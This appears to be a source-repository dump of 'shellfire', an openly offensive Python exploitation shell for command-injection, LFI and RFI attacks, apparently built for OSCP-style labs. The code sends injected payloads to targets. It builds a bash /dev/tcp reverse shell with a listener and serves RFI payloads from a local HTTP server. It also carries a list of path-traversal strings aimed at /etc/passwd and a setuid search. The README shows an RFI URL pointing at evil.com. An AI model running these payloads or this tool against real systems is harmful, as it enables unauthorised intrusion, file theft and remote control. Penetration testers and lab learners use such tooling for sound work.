Repository: unix-ninja/shellfire Branch: master Commit: 2cdd57ca9416 Files: 13 Total size: 54.9 KB Directory structure: gitextract_hi56ynpr/ ├── .gitignore ├── LICENSE ├── README.md ├── requirements.txt ├── setup.py └── shellfire/ ├── __init__.py ├── commands.py ├── config.py ├── default_plugins/ │ ├── __init__.py │ └── default.py ├── payloads.py ├── plugin_collection.py └── tab_completion.py ================================================ FILE CONTENTS ================================================ ================================================ FILE: .gitignore ================================================ .DS_Store .env __pycache__ **/*.pyc bin include lib pyvenv.cfg .flake8 shellfire.egg-info dist .vscode Makefile ================================================ FILE: LICENSE ================================================ BSD 2-Clause License Copyright (c) 2016, All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ================================================ FILE: README.md ================================================ # shellfire _shellfire_ is an exploitation shell which focuses on exploiting command injection vulnerabilities. This can be useful when exploiting LFI, RFI, SSTI, etc. I originally started developing this script while working on my OSCP labs. As the capabilities grew, I thought maybe other people could find this as useful as I have, so I decided to open source my tool. ## Features - [X] Persistent named configuration for multiple targets (and sharing!) - [X] Plugin system - [X] PHP payload - [X] ASP payload ## Installation There are a few ways to install this tool. Shellfire is available via PyPI, so you can use pip. ``` $ pip install shellfire ``` From Kali Linux, you can even use apt. ``` $ sudo apt install shellfire ``` If you'd like to build from source, you can use the standard Python setuptools to install this package. ``` $ git clone https://github.com/unix-ninja/shellfire.git $ cd shellfire $ python setup.py install ``` ## A few useful hints After installing, you can just call 'shellfire' from your terminal. ``` $ shellfire [*] ShellFire v0.11 [*] Type 'help' to see available commands (config)> ``` You can type `help` at any time inside config mode for a list of available commands, or append the command you want to know more information about to help for specific details. For example `help http`. Let's explore how to attack a basic RFI vulnerability! To start exploitation, you need to specify at least the URL parameter of your target. Something like the following should work: ``` (config)> url http://example.com/?path=http://evil.com/script.php ``` Running any command now would cause your RFI to get executed on the remote target. Let's say you want to arbitrarily control the payloads going to the path paramter. This time, we will use `{}` to specify our injection point. ``` (config)> url http://example.com/?path={} ``` Before we can send our payloads, we must enter shell mode. ``` (config)> shell ``` Now, you can just type the payload you want to send and hit enter. ``` (shell)> /etc/passwd ``` You can always type "exit" to return from shell mode, back to config mode. ``` (shell)> exit ``` At this point, you should have enough to exploit easy vulnerabilities. Payloads you enter on the shell will be appropriately injected and sent over to your target. More complex vulnerabilities may require specifying additional options. For example, let's assume you needed to send a cookie with a session ID in order to exploit your target. You may want to add something like this: ``` (config)> cookies { "session_id" : "123456789" } ``` We can specify injection points in cookies too. ``` (config)> cookies { "session_id" : "123456789", "vuln_param": "{}" } ``` Additional options, and information on how to use them, can be discovered by using the `help` option in config mode. Thanks to Offensive-Security for inspiring the creation of this utility. Please use this tool for good. Happy hacking! ## Testing Testing is currently being done against the [dvwa docker image](https://hub.docker.com/r/vulnerables/web-dvwa/). ================================================ FILE: requirements.txt ================================================ requests ================================================ FILE: setup.py ================================================ from setuptools import setup, find_packages with open("README.md", "r") as fh: long_description = fh.read() setup(name='shellfire', version='0.14', description=( 'shellfire is an exploitation shell focusing on exploiting command ' 'injection vulnerabilities, eg., LFI, RFI, SSTI, etc.' ), url='https://github.com/unix-ninja/shellfire', author='unix-ninja', author_email='chris@unix-ninja.com', license='BSD', python_requires='>=3.8.0', long_description=long_description, long_description_content_type="text/markdown", packages=find_packages(), include_package_data=True, entry_points={ "console_scripts": [ "shellfire=shellfire:cli" ] }, install_requires=[ 'requests' ] ) ================================================ FILE: shellfire/__init__.py ================================================ #!/bin/env python3 # Thanks to Offensive-Security for inspiring this! # Written by unix-ninja # Aug 2016 import argparse import os import readline import requests import shlex import signal import sys import time from shellfire.config import cfg, state, prompt, Mode from shellfire.commands import command_list, cmd_config, send_payload, payload_php, payload_aspnet ############################################################ ## Version Check if (sys.version_info < (3, 0)): sys.stderr.write("[!] Error! Must execute this script with Python3.") sys.exit(2) ############################################################ ## Parse options parser = argparse.ArgumentParser( description='An exploitation shell for command injection vulnerabilities.') parser.add_argument('-c', dest='config', action='store', nargs='?', default=None, const='default', help='load a named config on startup.') parser.add_argument('-d', dest='debug', action='store_true', help='enable debugging (show queries during execution)') parser.add_argument('--generate', dest='payload', help='generate a payload to stdout. PAYLOAD can be "php" or "aspnet".') parser.add_argument('--version', dest='version', action='store_true', help='display version and exit.') state.args = parser.parse_args() ############################################################ ## Main App def draw_prompt(): return '(%s)> ' % prompt[state.mode] def sigint_handler(signum, frame): state.userinput ="" _q = readline.get_line_buffer() state.input_offset = len(_q) sys.stderr.write("\n%s" % (draw_prompt())) return def cli(): ## should we dump version? if state.args.version: sys.stderr.write("Shellfire v%s\n" % (cfg.version)) sys.exit(1) ## if we are generating a payload to stdout, do it now, then bail if state.args.payload: state.args.payload = state.args.payload.lower() if state.args.payload == "php": sys.stderr.write("[*] Generating PHP payload...\n") payload_php() elif state.args.payload == "aspnet": sys.stderr.write("[*] Generating ASP.NET payload...\n") payload_aspnet() else: sys.stderr.write("[*] Invalid payload!\n") sys.stdout.write(cfg.payload) sys.exit(1) ## show our banner sys.stdout.write(""" 1@@` ,@@@@%: '?K@@@@@@@h' |UQ@@@@@@@@@@m` ' , |Q@@@@@@@@@@@@@@> *B, ~4x L@@@@@@@@@@@@@@@@y :QQ= ~d@@t ,Q@@@@@@@@@@@@@@@@@? :Q@@y` ;Q@@@D.r@@@@@@@QNOppd%Q@@@@3,` ,4@@@@z ^Q@@@@@Kz@@@j+, `,=yQ@@@@@@@@@@= U@@@@@@@@Qu, `}Q@@@@@@@@X Q@@@@@@@}` .j@@@@@@@Q @@@@@@@L L@@@@@@@ @@@@@@0- 'g@@@@@@ D@@@@@O` `D@@@@@D c@@@@@Q; /@@@@\ /@@@@\ ;Q@@@@@\\ `3@@@@@Q; @@@@@@. ,@@@@@@ ;Q@@@@@3` -q@@@@@Qr \\@@@@/ \\@@@@/ ~Q@@@@@A- LQ@@@@x .@@. >@@@@QL ~d@@@Q\\' i@@i `=8@@@Q~ =O@@@@@l ~Q@@@@O=` ;{8@@g; | | '4@@8{; `^tPp$p%g0Rdkhm1^' """) sys.stdout.write("[*] ShellFire v" + cfg.version + "\n") sys.stdout.write("[*] Type 'help' to see available commands\n") if state.args.debug is True: sys.stdout.write("[*] Debug mode enabled.\n") requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning) ## if we specified to load a named config, do it now if state.args.config: cmd_config([".config", "load", state.args.config]) ## setup history if os.path.isfile(cfg.history_file): try: readline.read_history_file(cfg.history_file) except Exception: pass ## setup tab completion try: from shellfire.tab_completion import ShellfireCompleter completer = ShellfireCompleter() readline.set_completer(completer.complete) # Set up tab binding for macOS (libedit) vs GNU readline if sys.platform == 'darwin': # macOS uses libedit which has different binding syntax readline.parse_and_bind('bind ^I rl_complete') else: # GNU readline readline.parse_and_bind('tab: complete') except Exception as e: # Silently fail if tab completion setup fails pass ## set initial payload for PHP payload_php() ## register our sigint handler signal.signal(signal.SIGINT, sigint_handler) ## main loop while True: while state.revshell_running: try: time.sleep(0.1) except Exception: state.revshell_running = False ## reset command execution state each loop state.exec_cmd = True ## prompt for input try: state.userinput = input(draw_prompt()).strip() if state.input_offset > 0: state.userinput = state.userinput[state.input_offset:] state.input_offset = 0 except EOFError: ## if we recieve EOF, run cmd_exit() sys.stdout.write("\n") command_list["exit"]['func']("exit") if not state.userinput: continue ## parse our input cmd = shlex.split(state.userinput) ## config mode if state.mode == Mode.config: if cmd[0] in command_list.keys(): state.exec_cmd = False try: command_list[cmd[0]]['func'](cmd) except Exception as e: sys.stdout.write("[!] %s\n" % (repr(e))) else: sys.stdout.write("[!] Invalid command '%s'.\n" % (cmd[0])) ## shell mode elif state.mode == Mode.shell: if len(cmd)== 1 and cmd[0] == "exit": command_list[cmd[0]]['func'](cmd) else: send_payload() ## Main entrypoint - let's not pollute the global scope here. if __name__ == "__main__": cli() ================================================ FILE: shellfire/commands.py ================================================ import copy import json import os import readline import requests import select import socket import sys import threading import time import urllib.parse from shellfire.config import cfg, state, Mode from shellfire.plugin_collection import plugins from shellfire.payloads import get_aspnet_payload, get_php_payload ############################################################ ## Payloads def payload_aspnet(): cfg.payload = get_aspnet_payload(cfg.marker) cfg.payload_type = "ASP.NET" return def payload_php(): cfg.payload = get_php_payload(cfg.marker) cfg.payload_type = "PHP" return def payload_fuzzfile(): ## root:.:0:0:.*:.*:.+ if cfg.fuzzfile == 'default': payload = [r"../../../../../../../../../etc/passwd", r"../../../../../../../../etc/passwd", r"../../../../../../../etc/passwd", r"../../../../../../etc/passwd", r"../../../../../etc/passwd", r"../../../../etc/passwd", r"../../../etc/passwd", r"../../../../../../../../../../../../etc/passwd%00", r"../../../../../../../../../../../../etc/passwd", r"/../../../../../../../../../../etc/passwd^^", r"/../../../../../../../../../../etc/passwd", r"/./././././././././././etc/passwd", r"\..\..\..\..\..\..\..\..\..\..c\passwd", r"..\..\..\..\..\..\..\..\..\..c\passwd", r"/..\../..\../..\../..\../..\../..\../etc/passwd", r".\./.\./.\./.\./.\./.\./etc/passwd", r"\..\..\..\..\..\..\..\..\..\..c\passwd%00", r"..\..\..\..\..\..\..\..\..\..c\passwd%00", r"%0a/bin/cat%20/etc/passwd", r"%00/etc/passwd%00", r"%00../../../../../../etc/passwd", r"/../../../../../../../../../../../etc/passwd%00.jpg", r"/../../../../../../../../../../../etc/passwd%00.html", r"/..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/passwd", r"/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd", r"\'/bin/cat%20/etc/passwd\'" ] else: payload = [] with open(cfg.fuzzfile, 'r') as file: payloads = file.readlines() for p in payloads: payload.append(p) return payload ############################################################ ## Functions def show_help(cmd=None): if cmd and cmd[0:1] == '.': cmd = cmd[1:] if cmd in command_list: if len(command_list[cmd]["help_text"]): sys.stdout.write("".join(command_list[cmd]["help_text"])) else: sys.stdout.write("command doesn't have help text\n") else: sys.stdout.write("Available commands:\n") for cmd_key in command_list: sys.stdout.write(" %s\n" % (cmd_key)) def http_server(port): ## super simple http. we can probably make this more robust. ## set up network listener first addr = '' conn = None sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) sock.settimeout(1) sock.bind((addr, port)) sock.listen(1) ## server loop while state.http_running is True: try: if not conn: conn, addr = sock.accept() conn.recv(1024) http_response = "HTTP/1.1 200 OK\n\n" + cfg.payload + "\n" ## send payload to the client conn.send(bytes(http_response, 'utf-8')) conn.close() conn = None except Exception as e: if state.args.debug: sys.stderr.write("[!] Err. socket.error : %s\n" % e) pass sys.stdout.write("[*] HTTP Server stopped\n") def rev_shell(addr, port): ## setup listener for reverse shell port = int(port) state.revshell_running = True conn = None sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) sock.bind((addr, port)) sock.listen(1) conn, client_address = sock.accept() ## listener loop while True: socket_list = [conn, sys.stdin] read_sockets, write_sockets, error_sockets = select.select( socket_list, [], []) ## wait for connections for s in read_sockets: if s == conn: data = s.recv(4096) if not data: state.revshell_running = False return else: sys.stdout.write(data) sys.stdout.flush() else: msg = input() conn.send(msg) ## cleanup conn.close() state.revshell_running = False return def parse_to_dict(data): if data[0] == "{": ## try to parse as json encoded data try: return json.loads(data) except Exception as e: sys.stderr.write("[!] %s\n" % e) else: ## try to parse as url encoded data try: d = urllib.parse.parse_qs(data.strip()) ## flatten lists if they are of size 1 ## this is especially necessary for cookies for k,v in d.items(): if len(v) == 1: d[k] = v[0] ## return our dict return d except Exception as e: sys.stderr.write("[!] %s\n" % e) ## if we failed to pase, return an empty dict return {} def cmd_auth(cmd): ## configure HTTP Basic auth settings if len(cmd) > 1: cfg.auth_user, cfg.auth_pass = cmd[2][len(cmd[0]) + 1:].split(":", 1) cfg.auth = requests.auth.HTTPBasicAuth(cfg.auth_user, cfg.auth_pass) else: sys.stdout.write("[*] HTTP Auth: %s:%s\n" % (cfg.auth_user, cfg.auth_pass)) return def cmd_config(cmd): ## manage our configs if len(cmd) > 3: sys.stdout.write("[!] Invalid parameters for .config\n") return elif len(cmd) > 1: if len(cmd) == 3: name = cmd[2] + ".cfg" else: name = 'default.cfg' config_path = os.path.expanduser("~") + "/.config/shellfire/" name = config_path + name if cmd[1] == "save": ## make sure our directory exists if not os.path.isdir(config_path): os.makedirs(config_path) ## save our config to json with open(name, 'w') as my_config: my_config.write(cfg.dump()) sys.stdout.write("[*] Config saved.\n") elif cmd[1] == "load": ## load json into our config try: with open(name, 'r') as my_config: cfg.load(json.load(my_config)) sys.stdout.write("[*] Config restored.\n") except Exception: sys.stdout.write("[!] Unable to restore config!\n") return def cmd_cookies(cmd): ## configure cookies to be sent to target ## right now, we only parse JSON if len(cmd) < 2: sys.stdout.write("[*] Cookies: %s\n" % (json.dumps(cfg.cookies))) return ## grab our original input, sans our initial command data = state.userinput[len(cmd[0]):].strip() ## parse our data cfg.cookies = parse_to_dict(data) if cfg.cookies: sys.stdout.write("[*] Cookies set: %s\n" % json.dumps(cfg.cookies)) return def cmd_encode(cmd): ## if no params passed, display current encoding plugins if len(cmd) == 1: sys.stdout.write("[*] Encoding: %s\n" % (' | '.join(cfg.encode_chain))) return ## Set our encoding plugins! ## let's remove ".encode" from our cmd cmd.pop(0) ## reset our chain cfg.encode_chain = [] ## try to load our plugins try: for c in cmd: if c != "|" and c != "''" and c != '""': if c in plugins.plugins: cfg.encode_chain.append(c) else: cfg.encode_chain = [] sys.stdout.write("[!] Invalid plugin '%s'\n" % (c)) return except Exception as e: sys.stdout.write("[!] Error: %s\n" % (e)) return def cmd_exit(cmd): ## exit one level from our current mode if state.mode == Mode.config: state.http_running = False if os.path.isfile(cfg.history_file): readline.write_history_file(cfg.history_file) sys.exit(0) elif state.mode == Mode.shell: state.mode = Mode.config def cmd_files(cmd): ## set files to send to remote target if len(cmd) == 1: sys.stdout.write("[*] Files: %s\n" % (cfg.files)) return if cmd[1] == "": cfg.files = {} sys.stdout.write("[*] Files cleared.\n") return if len(cmd) != 3: sys.stdout.write("[!] Invalid parameters!\n") return ## label our vars key = cmd[1] name = cmd[2] ## parse our command cfg.files = {'key': key} if name[0] == "@": cfg.files['file'] = name[1:] sys.stdout.write("[*] File set.\n") else: cfg.files['plugin'] = name sys.stdout.write("[*] Plugin set.\n") return def cmd_find(cmd): ## run "find" on remote target if len(cmd) != 2: sys.stdout.write("[!] Invalid parameters\n") return if cmd[1] == "setgid": state.userinput = "find / -type f -perm -02000 -ls" elif cmd[1] == "setuid": state.userinput = "find / -type f -perm -04000 -ls" else: sys.stderr.write("[!] Invalid parameters\n") return state.exec_cmd = True return def cmd_fuzz(cmd): ## set files to send to remote target if len(cmd) == 1: sys.stdout.write("[*] Fuzz file: %s\n" % (cfg.fuzzfile)) return if cmd[1] == "start": sys.stderr.write("[*] Starting fuzzer...\n") state.exec_cmd = True for payload in payload_fuzzfile(): state.userinput = payload sys.stdout.write("[*] payload: %s\n" % (payload)) send_payload() state.exec_cmd = False else: cfg.fuzzfile = cmd[1] return def cmd_headers(cmd): """List or configure the HTTP request headers .headers .headers default .headers {"X-EXAMPLE-HEADER": "SomeValueHere" } Args: cmd (Str): "default" to reset the headers, otherwise a JSON string of the preferred header set. """ if len(cmd) < 1: sys.stderr.write("[!] Invalid parameters\n") sys.stderr.write(" .headers {\"X-EXAMPLE\": \"some_value_here\"}\n") sys.stderr.write(" .headers default\n") return elif len(cmd) == 1: sys.stdout.write("[*] Request headers are: \n") sys.stdout.write(json.dumps(cfg.headers, indent=2) + "\n") return ## let's set our headers! if cmd[1] == "default": cfg.headers = cfg.default_headers sys.stdout.write("[*] Set request headers back to default.\n") return ## grab our original input, sans our initial command data = state.userinput[len(cmd[0]):].strip() ## parse our data cfg.headers = parse_to_dict(data) if cfg.headers: sys.stdout.write("[*] Request headers are now: \n") sys.stdout.write(json.dumps(cfg.headers, indent=2) + "\n") return def cmd_help(cmd): if len(cmd) == 2: show_help(cmd[1]) else: show_help() return def cmd_history(cmd): ## configure history settings for shellfire (via readline) if len(cmd) == 1: if os.path.isfile(cfg.history_file): sys.stdout.write("[*] History writing is enabled\n") else: sys.stdout.write("[*] History writing is disabled\n") else: if cmd[1] == "clear": readline.clear_history() sys.stdout.write("[*] History is cleared\n") elif cmd[1] == "save": with open(cfg.history_file, 'a'): os.utime(cfg.history_file, None) sys.stdout.write("[*] History writing is enabled\n") elif cmd[1] == "nosave": os.remove(cfg.history_file) sys.stdout.write("[*] History writing is disabled\n") return def cmd_http(cmd): ## control our local http server if len(cmd) == 1: if state.http_running is True: sys.stdout.write("[*] HTTP server listening on %s\n" % cfg.http_port) sys.stdout.write("[*] HTTP payload: %s\n" % cfg.payload_type) else: sys.stdout.write("[*] HTTP server is not running\n") return if cmd[1] == "start": if state.http_running is False: if len(cmd) > 2: try: cfg.http_port = int(cmd[2]) except Exception: sys.stderr.write("[!] Invalid port value: %s\n" % (cmd[2])) return s = threading.Thread(target=http_server, args=(cfg.http_port,)) s.start() state.http_running = True sys.stdout.write("[*] HTTP server listening on %s\n" % cfg.http_port) else: sys.stderr.write("[!] HTTP server already running\n") elif cmd[1] == "stop": if state.http_running is True: state.http_running = False time.sleep(1) else: sys.stderr.write("[!] HTTP server already stopped\n") elif cmd[1] == "payload": if cmd[2] == "aspnet": payload_aspnet() elif cmd[2] == "php": payload_php() else: sys.stderr.write("[!] Unrecognized payload type\n") return sys.stdout.write("[*] HTTP payload set: %s\n" % cfg.payload_type) return def cmd_marker(cmd): ## set the marker for our rce payloads ## this will determine boundaries to split and clean output if len(cmd) == 1: sys.stderr.write("[*] Payload marker: %s\n" % (cfg.marker)) if cfg.marker: idx_str = ' '.join(str(idx) for idx in cfg.marker_idx) else: idx_str = 'disabled' sys.stderr.write("[*] Marker indices: %s\n" % (idx_str)) return ## let's remove "marker" from our cmd cmd.pop(0) ## assign our action and remove it from cmd action = cmd[0] cmd.pop(0) ## process our action if action == "set": ## set the rest of the string as our marker cfg.marker = " ".join(cmd) if not cfg.marker: cfg.marker = None sys.stdout.write("[*] Payload output marker set.\n") elif action == "out": cfg.marker_idx = [int(idx) for idx in cmd] sys.stdout.write("[*] Marker indices set.\n") else: sys.stdout.write("[!] Bad marker param!\n") return def cmd_method(cmd): ## configure HTTP method to use against the target if len(cmd) > 2: sys.stderr.write("[!] Invalid parameters\n") sys.stderr.write(" .method \n") return if len(cmd) == 2: if cmd[1] == "post": cfg.method = "post" elif cmd[1] == "form": cfg.method = "form" else: cfg.method = "get" sys.stdout.write("[*] HTTP method set: %s\n" % cfg.method.upper()) return def cmd_phpinfo(cmd): ## trigger phpinfo payload state.userinput = "_show_phpinfo" state.exec_cmd = True return def cmd_plugins(cmd): ## show our available plugins sys.stdout.write("[*] Available plugins: %s\n" % (' '.join(plugins.plugins))) return def cmd_post(cmd): ## configure POST data to send if len(cmd) < 2: sys.stdout.write("[*] POST data: %s\n" % json.dumps(cfg.post_data)) return ## grab our original input, sans our initial command data = state.userinput[len(cmd[0]):].strip() ## parse the data cfg.post_data = parse_to_dict(data) if cfg.post_data: sys.stdout.write("[*] POST data set: %s\n" % json.dumps(cfg.post_data)) return def cmd_referer(cmd): ## set HTTP referer if len(cmd) > 1: cmd.pop(0) cfg.headers['Referer'] = " ".join(cmd) sys.stdout.write("[*] Referer set: %s\n" % cfg.headers['Referer']) return def cmd_revshell(cmd): ## initiate a reverse shell via rce if len(cmd) != 3: sys.stderr.write("[!] Invalid parameters\n") sys.stderr.write(" .shell \n") return sys.stdout.write("[*] Initiating reverse shell...\n") host = cmd[1] port = cmd[2] state.userinput = "bash -i >& /dev/tcp/" + host + "/" + port + " 0>&1" ## open our reverse shell in a new thread s = threading.Thread(target=rev_shell, args=(host, port)) s.start() ## make sure the thread is init before proceeding time.sleep(1) state.exec_cmd = True return def cmd_shell(cmd): if state.mode == Mode.config: state.mode = Mode.shell return def cmd_url(cmd): ## set URL for remote target if len(cmd) > 1: cfg.url = state.userinput[len(cmd[0]) + 1:] sys.stdout.write("[*] Exploit URL set: %s\n" % cfg.url) return def cmd_useragent(cmd): ## set the user agenet to send to target if len(cmd) > 1: cfg.headers['User-Agent'] = state.userinput[len(cmd[0]) + 1:] sys.stdout.write("[*] User-Agent set: %s\n" % cfg.headers['User-Agent']) return def expand_payload(my_list, data): ## if we have a dict, expand our marker tags `{}` recursively if not isinstance(my_list, dict) and not isinstance(my_list, list): return if isinstance(my_list, dict): ## process as a dict for k, v in my_list.items(): if isinstance(my_list[k], dict) or isinstance(my_list[k], list): expand_payload(my_list[k], data) else: my_list[k] = v.replace('{}', data) else: ## process as a list for k, v in enumerate(my_list): if isinstance(v, dict) or isinstance(v, list): expand_payload(v, data) else: my_list[k] = v.replace('{}', data) return def send_payload(): ## execute our command to the remote target if state.exec_cmd: cmd = state.userinput ## let's run our input through our encoding plugins if len(cfg.encode_chain): try: for enc in cfg.encode_chain: cmd = plugins.plugins[enc].run(cmd) except Exception: pass ## generate GET payloads if '{}' in cfg.url: query = cfg.url.replace('{}', cmd.strip()) else: query = cfg.url ## generate POST payloads post_data = copy.deepcopy(cfg.post_data) expand_payload(post_data, cmd.strip()) ## generate cookie payloads cookie_data = copy.deepcopy(cfg.cookies) expand_payload(cookie_data, cmd.strip()) requests.utils.add_dict_to_cookiejar(state.requests.cookies, cookie_data) ## generate headers payloads header_data = copy.deepcopy(cfg.headers) expand_payload(header_data, cmd.strip()) ## log debug info if state.args.debug: sys.stdout.write("[D] URL %s\n" % query) if cfg.method == "post": sys.stdout.write("[D] POST %s\n" % json.dumps(post_data)) sys.stdout.write("[D] Cookies %s\n" % json.dumps(cookie_data)) sys.stdout.write("[D] Headers %s\n" % json.dumps(header_data)) try: if cfg.method == "post": r = state.requests.post( query, data=post_data, verify=False, # cookies=cookie_data, headers=header_data, auth=cfg.auth) elif cfg.method == "form": files = {'': (None, '')} ## do we have files to upload? if 'key' in cfg.files.keys(): ## check for raw files first if 'file' in cfg.files.keys(): try: files = {cfg.files['key']: open(cfg.files['file'], 'rb')} except Exception as e: sys.stdout.write("[!] Error opening file for multpart upload: %s\n" % (e)) ## check for plugins next elif 'plugin' in cfg.files.keys(): try: if cfg.files['plugin'] in plugins.plugins: files = {cfg.files['key']: plugins.plugins[cfg.files['plugin']].run(cmd)} else: sys.stdout.write("[!] Invalid plugin '%s'\n" % (cmd[1])) except Exception as e: sys.stdout.write("[!] Error: %s\n" % (e)) ## post our form data r = state.requests.post( query, data=post_data, files=files, verify=False, cookies=cookie_data, headers=header_data, auth=cfg.auth) else: r = state.requests.get( query, verify=False, cookies=cookie_data, headers=header_data, auth=cfg.auth) ## sanitize the output. we only want to see our commands if possible output = "" if cfg.marker: buffer = r.text.split(cfg.marker) if len(buffer) > 1: for idx in cfg.marker_idx: output = output + buffer[idx] + "\n" else: output = buffer[0] ## strip trailing newlines output = output.rstrip() else: output = r.text ## display our results sys.stdout.write(output + "\n") if state.userinput == '_show_phpinfo': file = 'phpinfo.html' fp = open(file, 'w') fp.write(output) fp.close() sys.stdout.write("[*] Output saved to '" + file + "'.\n") except Exception as e: sys.stderr.write("[!] Unable to make request to target.\n") sys.stderr.write("[!] %s\n" % e) sys.stdout.flush() return ############################################################ ## Command list """Data structure of all available shellfire commands. """ command_list = { "auth": { "func": cmd_auth, "description": "", "help_text": [ "auth - show current HTTP Auth credentials.\n", "auth : - set the HTTP Auth credentials.\n", ], }, "config": { "func": cmd_config, "description": "", "help_text": [ "config save [name] - save a named config.\n", "config load [name] - load a named config.\n", ], }, "cookies": { "func": cmd_cookies, "description": "", "help_text": [ "cookies - show current cookies to be sent with each request.\n", "cookies - a string representing cookies you wish to send.\n", " strings can be json or url encoded.\n", " use '{}' to specify where command injection goes.\n", ], }, "encode": { "func": cmd_encode, "description": "", "help_text": [ "encode - show current encoding used before sending commands.\n", "encode - encode commands with plugin before sending.\n", " * you may pass multiple plugins separated with spaces or pipes.\n", ], }, "exit": { "func": cmd_exit, "description": "", "help_text": [ "exit - exits this program.\n" ], }, "files": { "func": cmd_files, "description": "", "help_text": [ "files - show files to be sent to target.\n", "files \"\" - unset files.\n", "files @ - send contents of file as .\n", "files - send return value of plugin as .\n", " the plugin should return a tuple of values\n", " for the filename and contents.\n", ], }, "find": { "func": cmd_find, "description": "", "help_text": [ "find setuid - search for setuid files.\n", "find setgid - search for setgid files.\n", ], }, "fuzz": { "func": cmd_fuzz, "description": "", "help_text": [ "fuzz - show source for fuzzing.\n", "fuzz start - start fuzzing.\n", "fuzz @ - use file as source for fuzzing.\n", " type 'default' to use bult-in source.\n", ], }, "headers": { "func": cmd_headers, "description": "", "help_text": [ "headers default - sets the headers back to the shellfire defaults.\n", "headers - upserts the headers from your string into the header config.\n", " strings can be json or url encoded.\n", " use '{}' to specify where command injection goes.\n", ], }, "help": { "func": cmd_help, "description": "", "help_text": [ "help - prints all help topics.\n" ], }, "history": { "func": cmd_history, "description": "", "help_text": [ "history clear - erase history.\n", "history nosave - do not write history file.\n", "history save - write history file on exit.\n", ], }, "http": { "func": cmd_http, "description": "", "help_text": [ "http - show status of HTTP server\n", "http payload [type] - set the payload to be used for RFI.\n", " supported payload types:\n", " aspnet\n", " php\n", "http start [port] - start HTTP server.\n", "http stop - stop HTTP server.\n", ], }, "marker": { "func": cmd_marker, "description": "", "help_text": [ "marker - show the current payload output marker.\n", "marker set - set the payload output marker to string.\n", "marker out - the output indices to display after splitting on\n", " our marker.\n", ], }, "method": { "func": cmd_method, "description": "", "help_text": [ "method - show current HTTP method.\n", "method get - set HTTP method to GET.\n", "method post - set HTTP method to POST.\n", "method form - set HTTP method to POST using multipart form data.\n", ], }, "phpinfo": { "func": cmd_phpinfo, "description": "", "help_text": [ "phpinfo - executes the '_show_phpinfo' command via the PHP payload.\n" ], }, "plugins": { "func": cmd_plugins, "description": "", "help_text": [ "plugins - list all available plugins.\n" ], }, "post": { "func": cmd_post, "description": "", "help_text": [ "post - a string representing post data you wish to send.\n", " strings can be json or url encoded.\n", " use '{}' to specify where command injection goes.\n", ] }, "referer": { "func": cmd_referer, "description": "", "help_text": [ "referer - show the HTTP referer string.\n", "referer - set the value for HTTP referer.\n", ], }, "revshell": { "func": cmd_revshell, "description": "", "help_text": [ "shell - initiate reverse shell to target.\n", ] }, "shell": { "func": cmd_shell, "description": "", "help_text": [ "shell - enter exploitation shell. commands entered here are processed and sent as\n", " payloads to your target.\n" ] }, "url": { "func": cmd_url, "description": "", "help_text": [ "url - set the target URL to string.\n", " use '{}' to specify where command injection goes.\n", ], }, "useragent": { "func": cmd_useragent, "description": "", "help_text": [ "useragent - show the User-Agent string.\n", "useragent - set the value for User-Agent.\n", ], }, "quit": { "func": cmd_exit, "description": "Alias of \".exit\"", "help_text": [ "quit - exits this program.\n" ], }, } ================================================ FILE: shellfire/config.py ================================================ import os import json import pkg_resources import requests from tokenize import Number from typing import List from enum import Enum ## define application modes class Mode(Enum): config = 1 shell = 2 ## define our shell prompts prompt = {Mode.config: "config", Mode.shell: "shell"} ## session configurable options defined here class Configs(): auth: str auth_user: str auth_pass: str cookies: object default_headers: object encode_chain: List[any] files: dict fuzzfile: str headers: object history_file: str http_port: Number marker: str marker_idx: List[int] method: str payload: str payload_type: str post_data: object url: str version: str def __init__(self): self.version = pkg_resources.require("shellfire")[0].version self.url = "http://www.example.com?" self.history_file = os.path.abspath( os.path.expanduser("~/.shellfire_history")) self.post_data = {} self.cookies = {} self.headers = { 'User-Agent': '', 'Referer': '' } """The default header set for outgoing requests. """ self.default_headers = { 'User-Agent': '' } self.method = "get" self.auth = None self.auth_user = None self.auth_pass = None self.payload = "" self.payload_type = "PHP" self.encode_chain = [] self.encode = None self.files = {} self.fuzzfile = "default" self.marker = "--9453901401ed3551bc94fcedde066e5fa5b81b7ff878c18c957655206fd538da--" self.marker_idx = [1] self.http_port = 8888 def dump(self): return json.dumps(self.__dict__) def load(self, json_cfg): self.__dict__.update(json_cfg) return ## instantiate our config class cfg = Configs() ## store our ephemeral state here class state(): args = None http_running = False revshell_running = False userinput = None input_offset = 0 exec_cmd = True requests = requests.Session() mode = Mode.config ================================================ FILE: shellfire/default_plugins/__init__.py ================================================ ================================================ FILE: shellfire/default_plugins/default.py ================================================ import base64 as b64 import urllib.parse from shellfire.plugin_collection import Plugin class Base64(Plugin): """Base64 encode your input """ def 